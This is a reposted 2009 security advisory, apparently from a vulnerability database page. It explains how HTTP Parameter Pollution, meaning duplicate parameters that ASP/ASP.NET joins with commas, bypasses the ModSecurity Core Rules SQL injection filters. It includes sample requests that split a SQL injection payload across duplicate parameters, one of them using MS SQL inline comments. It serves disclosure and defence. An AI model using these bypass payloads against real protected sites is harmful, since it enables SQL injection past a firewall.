ModSecurity <= 2.5.9 (Core Rules <= 2.5-1.6.1) Filter Bypass Vuln

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1051885 漏洞类型
发布时间 2009-06-12 更新时间 2009-06-12
CVE编号 N/A CNNVD-ID N/A
漏洞平台 N/A CVSS评分 N/A
|漏洞来源
https://cxsecurity.com/issue/WLB-2009060034
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
    ModSecurity (Core Rules) HPP Filter Bypass Vulnerability
  
  Affected Software : ModSecurity <= 2.5.9 using ModSecurity Core Rules <= 2.5-1.6.1
  Author                 : Lavakumar Kuppan - lavakumar[dot]in[at]gmail[dot]com
  Advisory URL       : http://www.lavakumar.com
  Severity               : High
  Local/Remote       : Remote

  [Vulnerability Details]

  Modsecurity is an Open source Web Application firewall which runs as an Apache
  module. It has a comprehensive set of rules called 'ModSecurity Core Rules' for common web application
  attacks like SQL Injection, Cross-Site Scripting etc.

  It is possible to bypass the ModSecurity Core Rules due to the difference in behaviour
  of ModSecurity and ASP/ASP.NET applications in handling duplicate HTTP GET/POST/Cookie
  parameters. Using duplicate parameters has been termed as HTTP Parameter Pollution by Luca Carettoni
  and Stefano Di Paola.

  When multiple GET/POST/Cookie parameters of the same name are passed in the HTTP request
  to ASP and ASP.NET applications they are treated as an array collection.
  This leads to the values being concatenated with a comma inbetween them.

  For example when the following query is sent to the server:
  -----------------------------
  POST /index.aspx?a=1&a=2
  Host: www.example.com
  Cookie: a=5; a=6
  Content-Length: 7

  a=3&a=4
  -----------------------------

  The server side interpretation of this data is as follows:

  Request.Params["a"]        --> "1,2,3,4,5,6" ( if "a" was registered as a server-side control ) (ASP.NET Only)
  Request.Params["a"]        --> "1,2,5,6" ( if "a" was not registered as a server-side control ) (ASP.NET Only)
  Request.QueryString["a"] --> "1,2" (ASP and ASP.NET)
  Request.Form["a"]       --> "3,4" (ASP and ASP.NET)

  This behaviour is unique to ASP and ASP.NET applications and ModSecurity does not interpret this data in the same way. When dealt with multiple parameters of the same name ModSecurity matches the value of each instance of the parameter seperately against its rule base. Incase of the above example ModSecurity would run '1' against  the rule set first then '2' and so on till '6'.

  Since data is interpreted differently by the Web Application and the Firewall this produces intresting possibilities for a filter bypass scenario.

  This theory was tested against the SQL Injection rule base of ModSecurity Core Rules and was found to bypass the default-enabled rule set successfully.

  The following request is blocked by ModSecurity as this matches its Generic SQL Injection Attack rule.

   http://example.com/search.aspx?value=select 1,2,3 from table

  ModSecurity Interpretation:
   value = select 1,2,3 from table
  Web Application Interpretation:
   value = select 1,2,3 from table

  However the same payload can be sent to the server by splitting it using duplicate parameters like below.

   http://example.com/search.aspx?value=select 1&value=2,3 from table

  ModSecurity Interpretation:
   value = select 1
   value = 2,3 from table
  Web Application Interpretation:
   value select 1,2,3 from table

  The attack can be made more flexible by using the inline comment feature in MS SQL servers.

   http://example.com/search.aspx?value=select/*&value=*/1,2,3/*&value=*/from/*&value=*/table

  ModSecurity Interpretation:
   value=select/*
   value=*/1,2,3/*
   value=*/from/*
   value=*/table
  Web Application Interpretation:
   value = select/*,*/1,2,3/*,*/from/*,*/table

  This technique could possibly be extended to exploit other types of Web Application vulnerabilities as well.

  Refer the whitepaper 'Split and Join' (see references) for more details on this attack.

  [Fix Information]

   N/A

  [References]

  http://www.lavakumar.com/Split_and_Join.pdf
  http://www.owasp.org/images/b/ba/AppsecEU09_CarettoniDiPaola_v0.8.pdf

  [Legal Notices]

  The information in the advisory is believed to be accurate at the 
  time of publishing based on currently available information.
  This information is provided as-is, as a free service to the community.
  There are no warranties with regard to this information.
  The author does not accept any liability for any direct,
  indirect, or consequential loss or damage arising from use of,
  or reliance on, this information.
  Permission is hereby granted for the redistribution of this alert,
  provided that the content is not altered in any way, except
  reformatting, and that due credit is given.

  This vulnerability has been disclosed in accordance with the RFP
  Full-Disclosure Policy v2.0, available at:
  http://www.wiretrip.net/rfp/policy.html